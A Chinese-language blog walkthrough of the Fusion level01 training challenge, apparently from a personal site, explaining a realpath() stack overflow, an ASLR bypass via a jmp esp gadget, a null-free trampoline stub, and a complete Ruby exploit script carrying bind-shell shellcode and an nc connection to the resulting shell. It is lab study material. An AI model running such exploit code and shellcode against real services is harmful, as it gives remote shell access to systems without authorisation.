Featured image of post Fusion Level 01 Walkthrough

Fusion Level 01 Walkthrough

年轻人的第一次绕过 ASLR

Level 01

☞ https://exploit.education/fusion/level01/

About

level00 with stack/heap/mmap aslr, without info leak :)

Option Setting
Vulnerability Type Stack
Position Independent Executable No
Read only relocations No
Non-Executable stack No
Non-Executable heap No
Address Space Layout Randomisation Yes
Source Fortification No

Source code

#include "../common/common.c"    

int fix_path(char *path)
{
  char resolved[128];
  
  if(realpath(path, resolved) == NULL) return 1;
  // can't access path. will error trying to open
  strcpy(path, resolved);
}

char *parse_http_request()
{
  char buffer[1024];
  char *path;
  char *q;

  // printf("[debug] buffer is at 0x%08x :-)\n", buffer); :D

  if(read(0, buffer, sizeof(buffer)) <= 0)
    errx(0, "Failed to read from remote host");
  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");

  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");

  fix_path(path);

  printf("trying to access %s\n", path);

  return path;
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *p;

  background_process(NAME, UID, GID); 
  fd = serve_forever(PORT);
  set_io(fd);

  parse_http_request(); 
}

虽然这题确实开了 ASLR…

不过看主函数这边,虽然这几个函数(是作者自己写的函数,放在头文件里了)完全没说是做什么的,

但是从结果来看,它是在有新的 socket 连接的时候 fork 一个子进程来处理那个 socket

所以主程序其实一直没关过…所以除非重启一下不然每次 fork 出的子进程的内存空间是一样的

但是姑且还是用不依赖固定内存地址的方式来做这道题吧


Vulnerability

char *parse_http_request() 读入 buffer 的方式是 read(0, buffer, sizeof(buffer))

所以这里是没法 buffer overflow 的,真正的问题出在 int fix_path(char *path)

这个函数里出现了 realpath(path, resolved)

NAME realpath - return the canonicalized absolute pathname

SYNOPSIS #include <limits.h> #include <stdlib.h>

   char *realpath(const char *path, char *resolved_path);

我们不用去关心具体实现,只需要知道它所做的是把 *path 解析后放到 *resolved_path 里…

int fix_path(char *path)
{
  char resolved[128];
  if(realpath(path, resolved) == NULL) return 1;
  strcpy(path, resolved);
}

但是 *path 的来源是 path = &buffer[4];

buffer 的大小是 char buffer[1024];

resolved 的大小只有 128 bytes,从这里就可以溢出了


不过这题还有一个小限制:

  if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request");
  path = &buffer[4];
  q = strchr(path, ' ');
  if(! q) errx(0, "No protocol version specified");
  *q++ = 0;
  if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");
  fix_path(path);

对于 buffer,其必须以 “GET” 开头,加上一段路径,再加上 “HTTP/1.1”,否则不会触发 fix_path(path)

但由于 fix_path(path) 中的 realpath() 会对路径进行解析,可能会破坏 shellcode,所以可以这样写:

GET #{padding} HTTP/1.1 #{shellcode}

Stack Overflow

gdb 看一下 fix_path()

Dump of assembler code for function fix_path:
   0x08049815 <+0>:	push   ebp
   0x08049816 <+1>:	mov    ebp,esp
   0x08049818 <+3>:	sub    esp,0x98
   0x0804981e <+9>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08049821 <+12>:	lea    edx,[ebp-0x88]
   0x08049827 <+18>:	mov    DWORD PTR [esp+0x4],edx
   0x0804982b <+22>:	mov    DWORD PTR [esp],eax
   0x0804982e <+25>:	call   0x8048a20 <realpath@plt>
   ......

可以看到 resolved 是从 ebp-0x88 开始的,那么 0x88 = 136 个字符之后到底 ebp,再加 4 个字符就是 return pointer 了

那么就需要使用 140 个字符来填充:

require 'socket'

hostname = "192.168.215.135"
port = 20001
socket = TCPSocket.open(hostname, port)

request = "GET "
protocol = " HTTP/1.1"
padding = "/" + "w" * 139
return_addr = "ABCD"

payload = request + padding + return_addr + protocol

puts "press any key to continue"
gets

puts "> payload: " + payload.inspect
socket.puts payload

return_addr 先写上 ABCD 作为标记,看看能不能执行到这里出现 SIGSEGV 吧

这里的「press any key to continue」的效果是脚本执行到这里会停下来,这时候我们就有足够的时间先去查看主进程 fork 出来的子进程 pid,然后去 gdb:

root@fusion:~# pidof level01
10985 1415
root@fusion:~# gdb -p 10985
......
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()

好耶,一次成功,接下来就该考虑把 return pointer 具体写什么地址了


Jmp to Stack

虽然我们无法确定程序每次的地址都在哪里,

但是我们至少可以确定的在程序执行到 ret 之前的那一刻时,esp 和 ebp 到 buffer 和 resolved 的偏移量

(gdb) disassemble fix_path 
Dump of assembler code for function fix_path:
   0x08049815 <+0>:	push   ebp
   0x08049816 <+1>:	mov    ebp,esp
   0x08049818 <+3>:	sub    esp,0x98
   0x0804981e <+9>:	mov    eax,DWORD PTR [ebp+0x8]
   0x08049821 <+12>:	lea    edx,[ebp-0x88]
   0x08049827 <+18>:	mov    DWORD PTR [esp+0x4],edx
   0x0804982b <+22>:	mov    DWORD PTR [esp],eax
   0x0804982e <+25>:	call   0x8048a20 <realpath@plt>
   0x08049833 <+30>:	test   eax,eax
   0x08049835 <+32>:	jne    0x804983e <fix_path+41>
   0x08049837 <+34>:	mov    eax,0x1
   0x0804983c <+39>:	jmp    0x8049853 <fix_path+62>
   0x0804983e <+41>:	lea    eax,[ebp-0x88]
   0x08049844 <+47>:	mov    DWORD PTR [esp+0x4],eax
   0x08049848 <+51>:	mov    eax,DWORD PTR [ebp+0x8]
   0x0804984b <+54>:	mov    DWORD PTR [esp],eax
   0x0804984e <+57>:	call   0x80489a0 <strcpy@plt>
=> 0x08049853 <+62>:	leave  
   0x08049854 <+63>:	ret    
End of assembler dump.

首先需要明确的,leave 和 ret 到底做了什么?

可以查到的是,对于 Intel 的 x86,leave 的操作是 Set ESP to EBP, then pop EBP.

ret 会稍微复杂一点,因为还分为了 Near returnFar return,但简化来说的话,32 位架构的情况下就相当于:pop eip

这也是为什么断点打在了 leave 的位置,因为想把栈看得更全一点:

(gdb) info registers 
eax            0x1	1
ecx            0xb75c48d0	-1218688816
edx            0xbf82b300	-1081953536
ebx            0xb773cff4	-1217146892
esp            0xbf82b260	0xbf82b260
ebp            0xbf82b2f8	0xbf82b2f8
esi            0xbf82b3b5	-1081953355
edi            0x8049ed1	134520529
eip            0x8049853	0x8049853 <fix_path+62>
eflags         0x246	[ PF ZF IF ]
......

(gdb) x/60x $esp
0xbf82b260: 1.[0xbf82b31c]   0xbf82b270    0x080484fc    0x00000200
0xbf82b270: 2.[0x7777772f]   0x77777777    0x77777777    0x77777777
0xbf82b280:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b290:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2a0:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2b0:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2c0:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2d0:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2e0:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2f0:    0x77777777    0x77777777    0x77777777 3.[0x44434241]
0xbf82b300:    0xbf82b300    0x00000020    0x00000004    0x001761e4
0xbf82b310:    0x001761e4    0x000027d8 4.[0x20544547]   0x7777772f
0xbf82b320:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b330:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b340:    0x77777777    0x77777777    0x77777777    0x77777777
  1. 0xbf82b260:在 leave 和 ret 前 esp 指向的地址
  2. 0xbf82b270fix_path() 的 resolved 从这里开始
  3. 0xbf82b2fc:覆盖掉的 return pointer
  4. 0xbf82b318parse_http_request() 的 buffer 从这里开始(0x20544547 = “GET “)

而在执行 leave,也就是 Set ESP to EBP, then pop EBP 后,这一段内存现在看起来是这样的:

(gdb) info registers 
eax            0x1	1
ecx            0xb75c48d0	-1218688816
edx            0xbf82b300	-1081953536
ebx            0xb773cff4	-1217146892
esp            0xbf82b2fc	0xbf82b2fc
ebp            0x77777777	0x77777777
esi            0xbf82b3b5	-1081953355
edi            0x8049ed1	134520529
eip            0x8049854	0x8049854 <fix_path+63>
......
# 注意,这里查看的是与前面相同位置 0xbf82b260 的一大段地址,而不是从 ESP 开始的 60 个地址
(gdb) x/60x 0xbf82b260
0xbf82b260: 1.[0xbf82b31c]   0xbf82b270    0x080484fc    0x00000200
0xbf82b270: 2.[0x7777772f]   0x77777777    0x77777777    0x77777777
0xbf82b280:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b290:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2a0:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2b0:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2c0:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2d0:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2e0:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2f0:    0x77777777    0x77777777    0x77777777 3.[0x44434241]
0xbf82b300:    0xbf82b300    0x00000020    0x00000004    0x001761e4
0xbf82b310:    0x001761e4    0x000027d8 4.[0x20544547]   0x7777772f
0xbf82b320:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b330:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b340:    0x77777777    0x77777777    0x77777777    0x77777777

从现在开始,esp 保存的地址是 3:0xbf82b2fc: [0x44434241],而接下来 ret 相当于 pop eip 所做的就是把这里的值 0x44434241 写入 eip 中


由于这段程序并没有开 Position Independent Executable,所以 .text 段的地址是不会改变的,

那么,我们是否可以把 return pointer 指向 .text 中的某个操作,比如:jmp esp

Return Oriented Programming

msfelfscan 是Metasploit 工具集中用来扫描 elf 的一个工具

用它来找 jmp esp 的结果是:

> /opt/metasploit-framework/bin/msfelfscan -j esp ./level01
[./level01]
0x08049f4f jmp esp

先把断点设在 ret 之前吧:

Breakpoint 1, 0x08049854 in fix_path (path=Cannot access memory at address 0x7777777f
) at level01/level01.c:9

(gdb) x/i $eip
=> 0x8049854 <fix_path+63>:	ret    

(gdb) x $ebp
0x77777777:	Cannot access memory at address 0x77777777

(gdb) x/wx $esp
0xbf82b2fc:	0x08049f4f

(gdb) x/i 0x08049f4f
0x8049f4f:	jmp    *%esp

可以看到,之前我们已经把 esp 写上了 0x08048c77,也就是一个 jmp esp 在 .text 段里的地址

接下来,前进一步,即执行 ret:pop eip,就会把 esp 存的值写给 eip,

也就是跳到 .text 段中另一个我们想使用的 jmp esp

(gdb) si
Cannot access memory at address 0x7777777b

(gdb) x/i $eip
=> 0x8049f4f:	jmp    *%esp

(gdb) x/wx $esp
0xbf82b300:	0xbf82b300

这时候前进一步,执行这句 jmp esp,就能把 eip 指向栈:

(gdb) si
0xbf82b300 in ?? ()

(gdb) x/5i $eip
=> 0xbf82b300:	add    %dh,0x20bf82(%ebx)
   0xbf82b306:	add    %al,(%eax)
   0xbf82b308:	add    $0x0,%al
   0xbf82b30a:	add    %al,(%eax)
   0xbf82b30c:	in     $0x61,%al

成功了!现在 eip 指向了 0xbf82b300,也就是栈

虽然现在看起来只是一堆完全不知道在干什么的指令…

但最后只要在这里放上 shellcode 就可以解决了么

(gdb) x/60x 0xbf82b260
0xbf82b260:    0xbf82b31c    0xbf82b270    0x080484fc    0x00000200
0xbf82b270: 2.[0x7777772f]   0x77777777    0x77777777    0x77777777
0xbf82b280:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b290:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2a0:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2b0:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2c0:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2d0:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2e0:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b2f0:    0x77777777    0x77777777    0x77777777 3.[0x08049f4f]
0xbf82b300: 4.[0xbf82b300]   0x00000020    0x00000004    0x001761e4
0xbf82b310:    0x001761e4    0x000027d8 1.[0x20544547]   0x7777772f
0xbf82b320:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b330:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b340:    0x77777777    0x77777777    0x77777777    0x77777777

总结下,目前程序执行的步骤是:

1.0xbf82b318: [0x20544547],从这里开始写 buffer(0x20544547 = “GET “)

2.0xbf82b270: [0x7777772f],这里是 realpath 解析完后的 resolved

3.0xbf82b2fc: [0x08049f4f],由于 resolved 太长,于是这里的 return pointer 被覆盖,写上了 .text 一个 jmp esp 的地址

4.0xbf82b300: [0xbf82b300],那个 jmp 成功帮我们把 eip 跳到了这里

Calculate Offset

所以 shellcode 从哪里开始呢…

因为 realpath() 只会解析第一个「/」,舍弃第二个「/」后面的内容,而我们又必须通过 realpath() 来覆盖,

而我们无法确定 shellcode 会不会包含「/」…我觉得肯定有(比如「/bin/sh」这样的字符串),这样的话…

那么,我们是否可以构造更小的一段不含「/」的 shellcode,让它再跳到真正的 shellcode 呢

request = "GET "
protocol = " HTTP/1.1 "
padding = "/" + "w" * 139
return_addr = [0x08049f4f].pack("I").to_s.force_encoding("UTF-8")
nop = "\x90" * 100
jmp_real_shellcode = "\xCC\xCC\xCC\xCC" * 10
shellcode = ([0xdeadbeaf].pack("I").to_s * 10).force_encoding("UTF-8")

payload = request + padding + return_addr +  nop + jmp_real_shellcode + protocol + shellcode

puts "press any key to continue"
gets

puts "> payload: " + payload.inspect
socket.puts payload

以及,我们并不知道 shellcode 真正的地址,所以这次我们也通过 esp 来计算偏移:

(gdb) x/140x 0xbf82b260
0xbf82b260:    0xbf82b31c    0xbf82b270    0x080484fc    0x00000200
0xbf82b270: 2.[0x7777772f]   0x77777777    0x77777777    0x77777777
#                        <-- 0x77777777 -->
0xbf82b2f0:    0x77777777    0x77777777    0x77777777 3.[0x08049f4f]
0xbf82b300: 4.[0xcccccccc]   0xcccccccc    0xcccccccc    0xcccccccc
0xbf82b310:    0xcccccccc    0xcccccccc 1.[0xcccccccc]   0xcccccccc
0xbf82b320:    0xcccccccc    0xcccccccc    0x77777700    0x77777777
#                        <-- 0x77777777 -->
0xbf82b390:    0x77777777    0x77777777    0x77777777    0x77777777
0xbf82b3a0:    0x77777777    0x77777777    0x08049f4f    0xcccccccc
0xbf82b3b0:    0xcccccccc    0xcccccccc    0xcccccccc    0xcccccccc
#                        <-- 0xcccccccc -->
0xbf82b3d0:    0xcccccccc ß.[0x54544800    0x2e312f50    0x90909031]
0xbf82b3e0:    0x90909090    0x90909090    0x90909090    0x90909090
0xbf82b3f0:    0x90909090    0x90909090    0x90909090
#                        <-- 0x90909090 -->
0xbf82b430:    0x90909090    0x90909090    0x90909090    0x90909090
0xbf82b440: 5.[0xdeadbeaf]   0xdeadbeaf    0xdeadbeaf    0xdeadbeaf
0xbf82b450:    0xdeadbeaf    0xdeadbeaf    0xdeadbeaf    0xdeadbeaf
......

最后在总结一下我们做了什么:

1.0xbf82b318: [0x20544547],从这里开始写 buffer(0x20544547 = “GET “)

2.0xbf82b270: [0x7777772f],这里是 realpath 解析完 buffer 存进了的 resolved

3.0xbf82b2fc: [0x08049f4f],由于 resolved 太长,于是这里的 return pointer 被覆盖,写上了 .text 一个 jmp esp 的地址

4.0xbf82b300: [0xcccccccc],.text 段中的 jmp esp 成功帮我们把 eip 跳到了这里,而这里写着跳到「真・shellcode」的「伪・shellcode」

5.0xbf82b440: [0xdeadbeaf],真正的 shellcode,由于写在 ß.0xbf82b3d4:[" HTTP/1.1 "] 后面,所以这里的 shellcode 可以包含任意字符

最后计算一下这一刻的 esp 到「真・shellcode」之前的 NOP 的偏移量…

0xbf82b3e0 - 0xbf82b300 = 0xe0

做成 shellcode,使用这个工具

# x86(32)
add esp, 0xe0
jmp esp

# Assembly - Little Endian
"\x81\xc4\xe0\x00\x00\x00\xff\xe4"

麻袋,有个问题,这里出现了「\x00」

字符串是以 nullbyte 认定结尾的,这样的话绝对会被提前截断

于是想出了一个一点也不优美但是至少能达到目的的做法:

# x86(32)
add esp, 0x10101010
sub esp, 0x10100F30
jmp esp

# Assembly - Little Endian
"\x81\xc4\x10\x10\x10\x10\x81\xec\x30\x0f\x10\x10\xff\xe4"

End

结束….

#!/usr/bin/ruby
# -*- coding: UTF-8 -*-

require 'socket'

puts "> Enter hostname:"
hostname = gets.chomp
port = 20001
socket = TCPSocket.open(hostname, port)

request = "GET "
protocol = " HTTP/1.1"
padding = "/" + "w" * 139
return_addr = [0x08049f4f].pack("I").to_s.force_encoding("UTF-8")
nop = "\x90" * 99
#jmp_real_shellcode = "\xCC\xCC\xCC\xCC" * 10
jmp_real_shellcode = "\x90\x90" + "\x81\xc4\x10\x10\x10\x10\x81\xec\x30\x0f\x10\x10\xff\xe4" + "\xCC" * (40 - 16)

# tcpbindshell  (108 bytes)
# http://shell-storm.org/shellcode/files/shellcode-847.php
PORTHL = "\x7a\x69" # default is \x7a\x69 = 31337
shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68" + PORTHL + "\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80"

payload = request + padding + return_addr + jmp_real_shellcode + protocol +  nop + shellcode

puts "> payload: " + payload.inspect
socket.puts payload

command = "nc -v #{hostname} 31337"
puts "> when you want to exit the shell, use `Ctrl+C` instead of `exit`"
puts "> #{command}"
system command

socket.close

host.png

virtual.png

最后更新于 Apr 27, 2022 14:58 UTC
Senri Nya~ | Since July 2021
visits
Built with Hugo
Theme Stack designed by Jimmy